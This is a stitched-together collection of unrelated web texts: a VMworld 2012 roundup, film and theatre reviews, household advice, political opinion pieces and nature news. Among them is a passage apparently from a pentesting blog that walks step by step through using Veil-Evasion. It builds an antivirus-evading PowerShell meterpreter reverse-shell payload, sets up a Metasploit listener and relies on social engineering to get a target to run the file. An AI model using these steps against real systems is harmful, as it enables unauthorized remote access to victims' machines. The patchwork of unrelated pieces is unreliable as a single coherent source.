Every VMworld so far has carried out an over whelming number of innovative announcements that hit us over a short period of few days, & this VMworld is no exception. In this post, I have decided to summarize the top announcement made at VMworld 2012. I will start by pointing the ones announced today, & will add to them if I find more announcement to make it to my top announcements list. I believe just the ones announced today will be a total game changer and will leave us with a lot to play with till the next VMwolrd and maybe beyond that. That have been said, let's look at some of these great announcements:
vSphere Related Announcements:
– vSphere 5.1 is here with many enhancement and new features. For the full list of enhancement and features of vSphere 5.1, you might want to check out: https://www.vmware.com/files/pdf/products/vsphere/vmware-what-is-new-vsphere51.pdf
– vSphere Enhanced VMotion: Share Storage was always one of the requirements to run VMotion. Not any more with the announcement of Enhanced VMotion today, you no longer need a shared storage to be able to benefit of VMotion. I can see many customers looking forward to this, specially smaller customers who could not afford a shared storage. Further, I can see this a great step forward toward being able to move VMs across datacenters without requiring super expensive hardware to enable it, which is what Cloud Computing is all about. Imagine in the future, if you will be able to move your VMs freely between your different datacenters as well any public cloud with ease and without downtime. I can see us one step closer to that day, which make me super exciting.
– An Enhanced vSphere Web Client: While vSphere had a web client for a while, it was not comparable to the vSphere standard client. The new enhanced client will change this story for ever, where most of the features available in the standard client is available today in the vSphere web client. Actually I can see many admins in the near future getting it to replace their standard vSphere client. Further with the integration of the new vSphere web client with the vCloud Director web interface, I can see it getting more adoption per day.
– Zero Downtime VMware Tools Upgrade: I believe this is one demonstrate how VMware is committed to eliminate downtime. It will leave no admin an excuse of not updating their VMware tools. Hopefully you will be ready for my next health check with all your VMware tools up to date, as the excuse of it requiring downtime is gone for ever after you upgrade to vSphere 5.1 VMware tools.
– vSphere Replication: Now you can use the built-in vSphere replication to achieve RPOs as low as 15 minutes at no additional cost.
– vSphere Distributed Switch Enhancements: Network Health Check, Configuration Backup and Restore, Roll Back and Recovery, and Link Aggregation Control Protocol support
– No More vRAM: VMware has dropped vRAM not only from its licensing, but as well from its dictionary. That mean you will have a much easier licensing schema per physical CPU without any vRAM or cores restriction. I believe many customers will celebrate this new level of freedom they have been requesting for a while, where VMware competitors will have it tougher by day.
vCloud Related Announcements:
– VMware vFabric Application Director enhanced integrations with vCloud Director. vCloud is no longer limited to deploying VMs, but the vision to get it to be able to deploy applications as well.
– Dynamics OPs were demoed as well an explanation of how VMware future vCloud & management Solution will be able to integrate with other hypervisors opening up the eco-system.
– VXLAN were announced and how they will help in virtualizing the network layer as well resolve issues cloud computing faced when utilizing traditional VLANs. Further, it will be utilized to help expand L2 networks across the WAN with ease.
As the VMworld curtain has been dropped, and the NDAs have been waived many blog posts have been made & more to come. Below are few to start with & please leave a comment if you find more interesting ones to be added. I will as well add few more as I find them:
- VMware What's New Document Index from Yellow-Bricks.com (Seems some temporary issue with it & Duncan working on fixing it)
- Jason Nash What's New in the vSphere Distributed Switch?
- New 5.1 vDS Feature Deep Dive – Network Health Check
- New 5.1 vDS Feature Deep Dive – Configuration Backup and Rollback
- New 5.1 vDS Feature Deep Dive – Port Mirror and Netflow Enhancements
- New 5.1 vDS Feature Deep Dive – LACP, SR-IOV, Elastic Ports, and More
- vSphere Data Protection Overview at 2vcps and a truck
- Setting the record straight on VMware vSphere Data Protection

Digital Library / Publications
The Museum holds a number of films and videos that document events, activiites, performances and places.
Some of these films are presented on the Living Museum youtube channel.
We are currently preparing more films from the archives to upload for public viewing.
'Go West Young Woman' – full length video (1986)
The Living Museum carried out an extensive oral history program interviewing a number of people, mostly women, who worked in the munitions industry in Melbourne's western suburbs in the 1980s. There was a social shift in Australia after the Second World War because so many women joined the workforce to produce ammunition and took roles in management for the first time. A group of young woman from the VCA studied the Museum's research material and made contact with some of the woman interviewed to produce a play that told something of this story of woman working in munitions. This is a video of this play.
The original film is the opening night of the play, Go West Young Women, directed by Rachel Fenham and written by a group of three young actors, Kate Kantor, MIchelle Howard and Lee Kennedy, about women working in the munitions factories in Footscray during the war. The cast interviewed women who worked at the factories and those interviews informed the script and their performances. The play is a musical, with songs written specifically to accompany the script with live piano accompaniment.
Go West Young Women (14 min short version)
14 min version features a few scenes from the play and an interview with the cast and director after the opening night performance.
'With a Song in my Kazoo' – full length video (1985)
In another time in another world more people took a more proactive role in participating in large local intrumental bands. We are all familiar with the larger brass bands and garage bands but in the past there was considerable diversity in local bands. This video was produced in 1985 in the western suburbs, showing some unusual bands and interviewing some local people who explain something of their passion for being in a band.
'With a Song in my Kazoo' (14 min short version)
This 14 min version features a few scenes from the video including the Western Region Concert Band's performance on New Faces.
'Under the Peppercorns' – The Video
The Newmarket Saleyards operated in Kensington for 126 years selling sheep and cattle and other livestock to meat processors and breeders in Australia. Stock trails from all over the country led to this busy marketplace which was at one stage the largest in the world in terms of turnover of stock. This video attempts to give some insights into the inside story of this crucial segment of Australia's history.

The near future: A cooling agent called CW7 is introduced into the atmosphere to combat global warming. It backfires, rendering the planet uninhabitable. Most of the Earth's population freezes to death. The survivors live aboard a high-speed train—built by an eccentric billionaire before the ice age—where all necessities flow front to back. Wastewater from the first-class cars close to the engine is filtered to make drinking water for the third-class passengers living in squalor in the back of the train. Industrial waste is refined into a huffable drug called Kronol. Occasionally, bloody uprisings sweep the rear cars, but never cross the midsection, because the train's design ensures that any position overtaken by the revolters will only affect their own people.
This is the premise of Bong Joon-ho's grim, grimy Snowpiercer, and if it sounds more like a political metaphor than a functional society, it's because it is. The film, Bong's English-language debut, is a violent sci-fi action flick that lets its anarchist leanings take over in the final act. It plays like a cross between a Terry Gilliam movie and a BioShock game; the latter referent becomes substantially more pronounced once the characters arrive at the forward cars and the movie turns into a series of warped environments that have to be crossed entrance-to-exit, ending with the personal chambers of an enigmatic ruler who rejiggers the narrative into a commentary on itself.
Snowpiercer opens with the third-class passengers preparing for a new uprising. They live in the far back end of the train, in a squalid bricolage of bunks and walkways. It immediately brings to mind the post-apocalyptic portions of 12 Monkeys; not coincidentally, the passengers' de facto leader (John Hurt) is an old man named Gilliam.
A message from an informant in first class arrives, bearing the name of Namgoong Minsu (the great Song Kang-ho), a security system designer who has been imprisoned in the rear section for undisclosed reasons. Presumably, Minsu will help the rear dwellers get into first class and take over the "Sacred Engine," the train's semi-mythic power source. Breaking him out means mounting a full-scale revolt. The task falls on Gilliam's protégé, Curtis (Chris Evans, effectively subverting his Captain American persona), and his over-eager sidekick, Edgar (Jamie Bell).
Friday the 13th Collection Deluxe Edition [Blu-ray]
Over a dozen movies
Relive all of Jason Voorhees' greatest moments in this Friday the 13th Collection Deluxe Edition Blu-ray set containing 14 movies and a bonus disc with additional interviews and behind-the-scenes footage.
Snowpiercer's script—by Bong and Kelly Masterson (Before The Devil Knows You're Dead) and loosely adapted from a French graphic novel—is structured around the layout of the train, with each successive car introducing another piece of the story and another aspect of its fictive reality. It makes for a fluid, engrossing narrative. The luxurious forward section remains unseen until the 63-minute mark, the exact midpoint of the movie. Details and gestures fill out the train's history: the symbolic punishments exacted by Mason (Tilda Swinton, wearing church-lady glasses and donkey teeth), the tail section's overseer; the way in which Gilliam emphasizes the red paper used for the smuggled message; how Tanya (Octavia Spencer) flares her nostrils when Minsu lights up a cigarette, hoping to catch some of his secondhand smoke.
Though shocking violence and black humor run through the length of the movie, what comes through most strongly is its pessimistic political conscience; were the movie less earnest, it might seem Verhoeven-esque. Like Bong's previous films (Memories Of Murder, The Host, Mother), Snowpiercer builds to an ending that isn't conventionally satisfying, but displays a too-rare sense of integrity.
The train—which travels endlessly on a loop of track—is a double metaphor, representing both a real-world social structure and the narrative itself. The movie is blunt about this; at one point, a character refers to the Curtis-led uprising as "a blockbuster production with a devilishly unpredictable plot." Any revolution that happens aboard is a byproduct of the train's enclosed system, and changing the direction of political power only helps to preserve its existing layout. The only solution involves disrupting the momentum and focus of the narrative. That's bound to peeve some viewers, but that's the point; Snowpiercer's self-destructive "no gods, no masters" politics aren't meant to be agreeable—they're meant to upend the movie itself. Whether they succeed is a matter of debate.


text: What Your Roof Maintenance Plan Should Look Like Posted: Fri, Mar 30, 2018 Having a roof maintenance plan in place is one of the best ways that you can protect your investment. The roof on your commercial building provides you with protection from the elements, so it's important to make sure that it remains in top condition. What should you include in this plan? Keep the following in mind as you create one for your roof. Keep Detailed Information and Records Handy You should plan on keeping detailed records for all work done on your roof, along with information about the roof, such as the original specifications for it and your warranty. Having this information handy makes it easier for contractors to provide you with a more accurate estimate on any repairs or remodeling projects that need to be done. These records are also useful when you have damage and need to know if it's covered under your roof warranty. When you keep detailed records, you'll be able to get the information you need or provide it to others who need it quickly and efficiently. Set Up Routine Maintenance One of the most important parts of keeping a commercial roof in good shape is having routine maintenance done. You can schedule this maintenance ahead of time, so you won't forget to have it done on a regular basis. The exact tasks that roofing contractors will do during this time depends on the type of roof you have and the kinds of features it has. In general, routine maintenance includes removing any debris that has built up on your roof from wind and storms, getting rid of any 'ponding" that has occurred in order to prevent leaks and clearing out the drains to allow rainwater to leave your roof rather than collect on it. Roof Inspections Another important element that should be part of your roof maintenance plan is roof inspections. You should plan to have these done about twice a year or after a major weather event. These inspections give roofing contractors a chance to check your roof for any signs of damage. Minor signs of damage can be found and fixed to prevent them from becoming major ones, while more serious ones can be corrected promptly to reduce the risk of significant damage. While the maintenance team in your building can check for damage, a roofing contractor knows exactly what to look for and can identify signs of damage that aren't always easy to spot. Keeping your commercial roof in excellent condition can increase its lifespan. Contact us at MG Roofing, Inc. today to schedule an inspection. Tags: Roof, Maintenance, Commercial, Plan

How to keep positive when suffering with an illness
Suffering with an illness, especially a long term illness can be very tough mentally as well as physically. Not being able to do the normal things of life takes a toll on a person. Life may never be the same as it was again, and trying to prevent slipping into depression can be very difficult. However, keeping a positive attitude is important and it has been said can help the healing process. To achieve this, here are some things that can be done.
Staying personally clean and keeping a fresh environment can really help to keep a person's chin up. Daily bathing, teeth cleaning and hair brushing are really important things to do. If this isn't possible without help, then ask for some help. Dressing in fresh clothes, and changing from nightwear to day wear help keep a sense of dignity. Moving out of bed whenever possible is a great idea, even if it's only to sit a chair next to it. Nice clean sheets, an open window, and all tissues, old newspapers and rubbish removed often will all make for a sweeter atmosphere. Add some fresh flowers and the room can be a much more uplifting place to be.
Being surrounded with happy sights and sounds can really improve a person's mood. No weepy films or sad books during this time, only comedies, happy love stories and upbeat music. Laughter really is a tonic in itself. Invite full-of-life people in, or call, Skype and email those friends who have a joyful outlook and plenty of tales to tell.
Eating and drinking well can improve recovery as good nutrition helps the body heal. Plenty of fruit and vegetables, and lots of water, help prevent a sluggish feeling, and keep the digestion system working as it should. Eating smaller amounts more often is usually more palatable when feeling under the weather. There's a reason grapes are traditionally taken as gifts to patients in hospital.
Sometimes, writing in a journal and getting it all out there is very therapeutic. Putting down in words symptoms, emotions and streams of thought can be a kind of release. Maybe even writing a blog about it will help. Add to this any thoughts about the good things in life. Sometimes an illness can make a person look at their life in a whole new way, becoming thankful for things that they used to take for granted and grateful for the blessings they have.
It is always easier to be positive during an illness if there aren't any financial worries or concerns over the type of treatment received. Having some cancer insurance, critical illness cover or cancer cover can help with this. Insurances can make sure the best medical care is provided privately, often giving more options. This kind of reassurance will need some forward planning though; it can't be done after an illness has been diagnosed so consider taking out a plan early if this sounds like a good idea.
Lastly, accepting an illness and making necessary adjustments to daily life is key. Trying to keep going regardless is impossible and might just make things worse.

If the bond issuer is not able or chooses not to pay, a bond can default. The reasons for default can vary from an inability to pay to a desire to reduce the actual bond's obligation. While US Treasury securities never default, corporate bonds default regularly.
So what happens to a bondholder when a default occurs? Let's talk about bankruptcy first. Bond issuers have two workable options within the bankruptcy system.
Chapter 7 and Chapter 11.
Chapter 7 means the company ceases operations and closes its business. Generally, when a company files for Chapter 7 Bankruptcy, it has already worked all possible options. The bankruptcy court will review options; possibly, a reorganization can be implemented. The Court will appoint a trustee, liquidate assets, and pay outstanding claims.
Claims are based on a pre-set order, secured creditors and any senior debt holders, bondholders are second, and company stockholders are last. If you are a bondholder, there is no defined time to receive a payment. That decision is up to the Court. Often bondholders can receive all that is owed to them, a partial share, or nothing at all. Occasionally a payment system is set up for bondholders, and funds could be received from the sale of assets over time.
Chapter 11 Bankruptcy is a different situation. A company filing for Chapter 11 protection will attempt to reorganize and re-establish its business model, often with debt relief. Chapter 11 shields the company from creditors and allows the courts to help establish a system to work out the debt issues.

Microsoft compiles this anonymous data on vulnerabilities into its Security Intelligence Report, which helps them design fixes and create more secure future software. The company's Tom Grezek is a security and management solutions specialist.
"We don't collect any personal information, but what we do is we get a nice snapshot of what kind of vulnerabilities they're seeing out there worldwide. We also have large corporate data centers throughout the world that also feed into all the telemetry that we get that builds this whole picture of what we present in the security intelligence report. The most prevalent today we're seeing are what are called rogue security software that'll pop up on your machine indicating 'hey, you've been infected.' Your average user says 'wow, I gotta clean that up.' So they click on it, and then they get your credit card and then they charge you $49.95, or whatever it is."
Virus software can help, but there's a lag time between when a threat first appears on the Internet and when a fix is developed.
"The Zero Day issue is that time between when a new malicious threat comes out and when you can get a block in place so that your customers are protected. You know, they'll kind of always be there. The only way to get away from those is to almost disconnect from the Internet. You can minimize those threats by making sure you've got your firewall in place and your updates in place, controlling who you make friends with on things like Facebook, and then make sure that you're running anti-malware software or anti-virus software on your machine, and have your firewall in place, and that'll help minimize those things."
Microsoft has tips consumers can use to protect themselves from security threats on its Website.

Try something new today! Do you have lots of scraps or small pieces of fabric? My mother was a big quilter, and she was always buying those cute little 5 inch square packs of fabrics. Here is a great way to turn those small pieces into cute, one of a kind doll clothes.
Use any sewing pattern to create a unique, one of a kind, patchwork doll top.
Make a patchwork top for 18 inch dolls.
The fabrics in this tutorial came from a pack of 5″ squares, called a "charm pack". This one is by Doodlebug Designs- I love the whimsical images. None of the squares are big enough to make 18 inch doll clothes, so I picked a few of my favorites and patched them together, quilt style, to make my own fabric!
I used the Boardwalk Boutique pattern for this cute, halter top, but really any pattern will work to give the same effect.
- Choose your fabrics and lay them out on your table in a pleasing way. Try to offset the colors and place the rows so you don't have a four square in the center of your top (unless you are going for that look 😉 . Ensure that your squares cover enough space for your entire pattern piece.
- With right sides together, sew the pieces together in rows, moving from bottom to top with 1/4th inch seams. Once you have your two rows complete, put them right sides together and sew them together to make a larger square or rectangle. Press all of your seams open.
- If needed, trim the edges so your fabric piece is neat.
- Pin your pattern pieces to your new patchwork fabric (being mindful of one way designs) and cut out as usual.
Once you have your pieces cut out, simply assemble the pattern as usual.
Ta da!! You've made a one of a kind top for your doll!

"The United States of America will not permit the world's most dangerous regimes to threaten us with the world's most destructive weapons." This is the heart of the Bush Doctrine from the president's "axis of evil" address to Congress. And the nations that constituted that axis were Iraq, Iran and North Korea.
Under this doctrine, Iraq was invaded, Saddam overthrown and his army disbanded, though we have yet to find any of the "world's most destructive weapons."
With North Korea, the train has left the station. Pyongyang can now produce nuclear weapons and may possess half a dozen. For nations like North Korea and men like Kim Jong Il do not build costly and complex ballistic missiles simply to throw conventional explosives across an ocean.
Which leaves Iran. With Moscow's assistance, Tehran has been constructing a nuclear power plant at Bushehr. Once operational, Bushehr will, like Yongbyon in North Korea, yield plutonium as a byproduct.
Last year, the International Atomic Energy Agency also stumbled on a secret uranium-enrichment plant at Natanz. Its centrifuges were found to contain traces of weapons-grade uranium. Highly enriched uranium, U-235, is a component of atomic bombs. Little Boy, dropped on Hiroshima, had a uranium core. Fat Man, dropped on Nagasaki, had a plutonium core.
Lately, an effort by Russia, France and Germany to have Iran open up its nuclear plants to inspection has been rebuffed by Tehran. Having seen how America dealt summarily with Iraq, but proceeds gingerly with North Korea, Tehran has likely concluded that when a superpower is threatening preemptive strikes and preventive war, only nuclear weapons can deter it. Those who do not have such deterrents get the Saddam and Taliban treatment.
So it appears that the decisive test of the Bush Doctrine will come in Iran. And that test is probably not far off.
The Israelis have reportedly practiced strikes on Iran by crossing Turkish airspace and have special forces in the Kurdish regions of Iraq. There are rumors Sharon has told the White House that if we do not effect the nuclear castration of Iran, Israel will do the surgery herself, because she cannot live under the cloud of an atomic bomb in the possession of the patrons of Hezbollah.
Enter the "cakewalk" neoconservatives. Though disastrously wrong about Iraq's receptivity to U.S.-imposed democracy, and though they face disgrace and oblivion if Bush loses, they have one last card to play: That is to have America widen her wars with Afghanistan and Iraq with a preemptive strike on Iran's nuclear facilities. For the neoconservatives, Iraq was simply Phase II of "World War IV" for imperial domination of the Middle East and serial destruction of the regimes in Iraq, Syria, Iran and Saudi Arabia, as well as of Hezbollah, Hamas and the Palestinian Authority.
The neocons have not abandoned this imperial project. Nor has Bush removed a single one from power, though they may yet cost him his presidency. And the neoconservative commentariat is again beating the drums for war this time on Iran.
This is their hole card. If they can ignite a new war, the country may forget how they bungled the old war. In escalation lies vindication.
And, in truth, Iran is a matter the president and Pentagon must address. Can we live with an Iranian atom bomb, which will restrict U.S. freedom of action in the Gulf and likely lead to proliferation of nuclear weapons in the Arab world? Or is Iran the place where the Bush Doctrine must be applied, even if it ultimately requires U.S. air and missile strikes on Iran's nuclear sites?
Given the overstretch of U.S. forces, the invasion and occupation of a nation three times as large and populous as Iraq is off the table. And what would be the probable result of America launching air strikes and starting yet another fire in the middle of the world's gasoline station?
Tehran would likely retaliate by sending fighters into Iraq, stirring up Shia guerrillas in the south, aiding anti-American warlords in Afghanistan, sponsoring terror attacks on U.S. citizens and inciting Hezbollah to refire the Lebanon front.
We could find ourselves in a third war with no allies save Israel. Another consequence could be the disruption of oil shipments from Iran, Iraq and the Gulf, a run-up in prices to $60 or $70 a barrel, and recessions in Japan, Europe and the United States.
Presently, America and her European allies appear to be moving toward Security Council sanctions if Iran does not render hard assurances it is not going nuclear. But if the mullahs have concluded their only defense against U.S. or Israeli preemptive strikes is a deterrent of their own a not unreasonable assumption given what happened next door we are headed for a showdown that will change our world forever.

Killer Liberals
Took a stroll through a number of lib blogs last night and this morn, looking for some mention of the Waco anniversary.
(Image of vacant lots. Wind blowing stray paper. A broken fence.)
Now, I didn't visit every single site, so perhaps there are a few lib bloggers who said something. But I doubt it. As I posted yesterday, Waco for liberals is a non-issue. A murderous federal assault in violation of the Posse Comitatus Act does not stir in them anger or outrage. This is because their beloved Bill Clinton (using Janet Reno as his enforcer) oversaw and approved the action. After all, what says compassion more than some Bradley tanks crashing into your home, igniting fire while CS gas fills the lungs of your children, suffocating them before everyone is burned to cinder? And really, who cares about that when faced with a truly serious crime -- like Time magazine putting Ann Coulter on its cover?!
I did find a few libs acknowledging the Oklahoma City anniversary, a terrorist act that, unlike Waco, moves them to sorrow, and in one case, satisfaction in revenge. Lib blogger Roger Ailes offered a few "thoughts" on Oklahoma City, and while doing so decided that "Although I oppose the death penalty in almost all circumstances, I believe the execution of [Timothy] McVeigh was justified."
I oppose the death penalty . . . except when I don't. You'd think that one's opposition to state-sanctioned murder would, if principled, extend to the likes of McVeigh -- hell, esp in the case of McVeigh. It's in the worst case scenarios that one's beliefs are seriously put to the test. But for Ailes, it's far easier to applaud lethal injection for a "hate-filled" bigot who cast himself as a warrior "opposing a tyrannical federal government" than it is to maintain a political/moral stand. Who says liberals aren't flexible?
And note that Ailes suggests that McVeigh (and his cohort Terry Nichols) fantasized that there was a "tyrannical federal government" to fight. Clearly, the guy was crazy, 'cause we know there's no such thing, right? That McVeigh openly and consistently said that his actions were in retaliation for Waco apparently meant nothing. That he chose the second anniversary of the federal assault to carry out his murderous deed also counts for little. He was a "hate-filled" bigot. A blood-soaked cracker. Nothing more need be said. Kill the motherfucker and Move On.
Now, I don't endorse what McVeigh did. Not by any stretch. He and his co-conspirators essentially handed the state another excuse to curtail civil liberties and tighten the societal screws, which is what Bill Clinton did by signing the Anti-Terrorism Act on -- trumpets please! -- this day in 1996. (Another anniversary to mourn.) Clinton set loose the police state, allowed expanded wiretapping and surveillance of American citizens who might hold the "wrong" ideas. Given Clinton's enthusiasm in this regard, there's little doubt that had he been prez on 9/11, he would've pushed the Patriot Act with the same gusto as did Bush -- only Clinton would be cheered on by liberals. No nazi he.
To get a fuller picture of what Waco, Oklahoma City and McVeigh all mean, read Gore Vidal's Vanity Fair piece from Sept. 2001. Vidal was much maligned when this appeared, but don't let that sway you. Take it in and decide for yourself.
And since many liberals seem incapable of examining the politics and class issues that may have contributed to McVeigh's bloody decision, we must move further left to find what answers exist.
When it comes to Waco, one must shift to the libertarian end to get beyond the Official Account. And Justin Raimondo forges some interesting parallels between Waco and Iraq.
Lib bloggers? Obsessed with New Pope and . . . ANN COULTER!

Photo, video of dog's last meal become internet sensation
Mark Robison
Lennox the boxer had been through numerous surgeries. He had cancer and bad arthritis. He seldom stood anymore. A photo was posted on Reddit of his last meal -- a bacon-covered turkey leg -- and it became a sensation, getting more than 1 million views in the past few days.
Below is a video of the last meal. You can read more and watch a related video here at HuffPo; this is an excerpt:
"This post isn't meant to be sad in any way. He lived like an absolute boss all his life! And the meal reflects that!" "Nikolaoss" wrote. Many users wished Lennox well, shared memories of departed pets and offered condolences. "I know a lot of people here don't believe in heaven, but I think we all believe there is somewhere to go. He shall be put to sleep and his suffering will pass. In an instant his energy will burst out of his body with all the love that has been poured on him for years and it will be free," user "soapage" wrote.
Thanks to Dorraine for the tip!

One of the common hurdles of Ethical Hackers and Penetration Testers is bypassing anti-virus on target systems. Veil uses a Metasploit like interface to create a remote shell program that will bypass most Anti-Virus programs. A little social engineering is required to get the target to run the resultant shell program, but if they do, it will connect back to the Kali system and allow the attacker to have full remote access.
In this article we will discuss how to install and run Veil on Kali Linux. Since the previous version of this article there have been several changes to Veil. The first is that it is now much easier to install and run Veil on Kali Linux. Veil directly supports Kali 2018 and installs by only running two commands. Another change is that Veil includes new payloads written for additional languages.
Read more about the updates at https://www.veil-framework.com/.
Tool GitHub Page: https://github.com/Veil-Framework/Veil
Installing Veil 3.x on Kali 2018 is very simple:
The install will then run for a while as the dependency packages are installed. Reboot when finished.
Now let's look at using Veil.
- In a terminal window, enter, "veil"
Veil offers two tools, Evasion and Ordinance. We want to run Veil-Evasion.
- Enter, "use 1"
The Veil title menu bar should change to "Veil-Evasion".
The first thing to do is to list the available payloads using the "list" command.
- Type "list" and then press enter.
PowerShell attacks are very popular, so let's use a PowerShell payload. Just enter the "use" command and the number of the payload that you want. In this tutorial we will use the "powershell/meterpreter/rev_tcp.py" payload.
- Type, "use 22" and hit "enter".
This will select the payload and present us with the following screen:
If you look at the options, you will notice that it looks (and acts) very similar to using Metasploit modules. For this module we will just need to set the LHOST variable to our Kali system IP address.
2. Type, "set LHOST 192.168.1.39" and then hit "enter".
3. Now enter, "options" to view the value that we just set:
We will leave the LPORT set to the default value of 4444. Now we just need to generate our shellcode.
4. Enter, "generate"
Veil will now generate the shellcode with the options that we chose.
5. Now we need to give our created file a filename or base name, I chose "CutePuppy".
Veil-Evasion now has all that it needs and creates our shellcode file. We should see something like the following output:
This screen shows what payload was used and also where the output file is located. In this instance, the file was placed in the "/var/lib/veil/output/source/" directory. When it is run on a Windows system, it will try to connect out to our Kali machine. But before we do, we will need to start a Metasploit handler to accept the connection. The handler runs in Metasploit and waits until the shell file (CutePuppy.bat in this instance) is opened. Once it is executed, it creates a remote shell between your Windows system and the Kali box.
To create the remote handler, we will be using Metasploit. You can use the RC file generated by Veil, but I prefer to do it manually.
- Start the Metasploit Framework from the Kali Quick Start menu.
- Now set up the multi/handler using the following settings:
- use multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST 192.168.1.39
- set LPORT 4444
- exploit
This starts the multi handler on the Kali System:
Now we just need the target computer to run the file that Veil generated.
3. Copy "CutePuppy.bat" to your Windows Desktop:
4. Now, double click on the .bat file to run it.
Nothing appears to happen, but on your Kali system, you should see this:
A reverse shell session!
5. Now if we type "shell", we see that we do in fact have a complete remote shell:
The big question is, can this bypass anti-virus? At the time of this writing I ran the PowerShell based CutePuppy.bat file on a fully updated Windows 10 system running an updated Anti-Virus and it did detect it as malicious.
Anti-Virus engines have become much better at detecting PowerShell based threats. There are other options you can use in Veil. I will not cover this step by step, but using the "c/meterpreter/rev_tcp.py" payload provided different results.
Generating it into a test.exe file:
We have a shell:
Hopefully this article has shown that you cannot trust in your Anti-Virus alone to protect you from online threats. Unfortunately, sometimes your network security depends on your users and what they allow to run. Instruct your users to be very leery of internet links and never open any attachments that they receive in unsolicited e-mails. Blocking certain file types from entering or leaving your network is also a good idea.
Finally, use a Network Security Monitoring system (and logs) to help track down what happened and what was compromised if the worst does happen.

Family Time: Staying healthy after a trip to the petting zoo
Along with the fun of venturing out to pick pumpkins, run through a corn mazes or going on a hayride, another fun fall family activity is to visit a petting zoo or an animal exhibit. Because of the controlled environment of interacting with animals, parents assume the animals are healthy and safe for their children to "pet." Despite an animal appearing healthy, it can still carry germs that can lead to sickness later on.
According to the New Jersey Poison Control Center, interacting with animals at petting zoos and exhibits have been associated with outbreaks of E. coli and Salmonella infections. Children 5 years of age and younger, people with weakened immune systems and adults over 65 years of age are more likely to get sick from the germs animals can carry, and should take extra precautions at exhibits and petting zoos. The areas where animals live or roam can also be contaminated.
Tips to staying healthy at an animal exhibit:
- Wash your hands: Wash hands right after touching animals or anything in the areas where the live, roam or eat.
- Keep food and animals separate: Don't eat or drink around animals and keep food and drinks away from animal areas.
- Don't share food with animals: Animals should eat the food provided for them by the animal exhibit.
- Supervise kids: Don't let children put their fingers or objects in their mouths when they're around animals or in an animal area.
- Use caution: Teach children to approach animals with caution and to not let children put their fingers or objects near an animal's mouth.

Lemurs At Grave Risk Of Extinction: Report
Lemurs, a primate found only on the African island of Madagascar, are headed for extinction, warned a group of scientists who declared that the creature should be placed on the "Red List of Threatened Species."
The Primate Specialist Group of the International Union for the Conservation of Nature (IUCN) determined that 23 species of lemurs are now "Critically Endangered" (the highest threat level); 52 are "Endangered" and another 19 classified as "Vulnerable to Extinction."
"Critically Endangered" means that the total population comprises less than 50 mature adults and the overall numbers have endured an 80 percent plunge over the past ten years.
That means that 91 percent of of all lemurs are assessed as being in one of the Red List threatened categories, which is far and away the largest proportion of any group of mammals, said Russ Mittermeier, chairman of IUCN and president of Conservation International, according to BBC.
The animals' existence and habitat are threatened by massive illegal hunting and logging on the island, which is three years removed from a political coup.
About 90 percent of Madagascar's primal forest habitat has vanished, posing a threat not only to the survival of lemurs, but of other animals, including mongoose and the Malagasy giant rat.

All Things Entertaining and Cultural
Sean O'Casey cleverly weaves three themes in this play that can emphasize any one of them or blend them together. Peggy Mecham's pleasing and entertaining production of "Juno and the Paycock" touches thoughtfully on the Irish war for independence, several scenes ending with a long focus on Johnny Boyle, who has taken a crippling bullet to the hip and had an arm shattered in the struggle, and pays attention to the challenge Juno Boyle faces in trying to keep her household in food, tea, and turf, but it registers most as a comedy. Albeit one at which you're often laughing with a lump in your throat.
Ethan Lipkin, as "Captain" Jack Boyle, whose military title may be more facetious than earned, and John Cannon, as the cadging, gossipy no-account Joxer Daly, see to that. Kirsten Quinn does an effective, affecting job showing Juno's various burdens, from managing a shiftless husband, who would rather strut through Dublin like a "paycock" than shoulder responsibility, to dealing with worrisome crises involving her home and her children, and Kevin Rodden reveals Johnny's persistent nervous angst to an extent that says you must fear for him, but Lipkin and Cannon dominate the production as a pair of feckless bounders whose lives revolve around stout, naps, and acting as if they are the leisurely princes of mankind. To borrow a word Cannon's Joxer bandies about to connote anything from a hat to a fried egg, Lipkin and Cannon's performances are "darlin', just darlin'."
Lipkin shows you Jack Boyle's character right off the bat. After gamboling about the Boyles' all-purpose kitchen and living room in a jig that shows how plaguing pains in his legs are relieved and he is suited for work, word comes from Jerry Devine that the parish priest, Father Farrell, has secured Jack a job that will last him for months at a new construction site. Upon hearing the good news, Jack, who has been regaling Juno and Joxer with evidence of his robust health, reaches in desperation for a chair claiming the arthritis is his right hip has flared once more, and he can barely stand let alone climb a ladder or help dig a drainage ditch. "Even if I managed to get up the ladder," Jack tells the assembled, "it would take all the other workmen to hoist me back down."
Of course, the gambit and words are O'Casey's, but Lipkin plays them in a way that clearly illustrates Jack's aversion to work and all things that don't involve fermented grain or a mattress. Throughout Mecham's production, Lipkin will deliver Jack's lines crisply while extracting full comic mileage. Having words is, after, Jack's main activity. He will comment on many subjects, at times getting hot under the collar — even though his shirts rarely have collars — and standing his ground as a man in his castle, but Jack is all bluster and posturing. Anything substantive has to be done or borne by Juno, and Quinn, while sometimes showing how Juno can't help but be amused by Jack, poignantly conveys by slumped shoulder, and the blank, perplexed expression of the overwhelmed, the cost of addressing the dilemmas of a troubled family on her own. Jack will test Juno's patience once too often, and O'Casey's comedy turns dark as the Boyle children, Johnny and Mary, are affected by the times in which they live, but Lipkin is always a figure of oblivious cheer and defiance to a world that threatens to strike him down. His relentlessness in just going on, his lone stance of any substance being a declaration of conventional morality that robs him of his family, adds texture to the basic comic tone of Mecham's staging. Lipkin's Jack may not be openly affected by all that happens to him, but the Irish Heritage audiences knows and can feel the toll.
Cannon abets Lipkin comic note for comic note, playing a great Gallagher to his Sheen yet giving Joxer a droll dryness that serves the character well in a scene in which he gossips about the Boyles with more than a small note of Schadenfreude viciousness. Cannon plays Joxer as a quiet but apt companion who shares Jack's aversion to work and enjoys cadging drinks or a meal wherever he can find it. Together, Lipkin and Cannon show why Jack and Joxer are two of the most beloved characters in Irish literature. Lipkin is particularly Falstaffian in his turn for Irish Heritage.
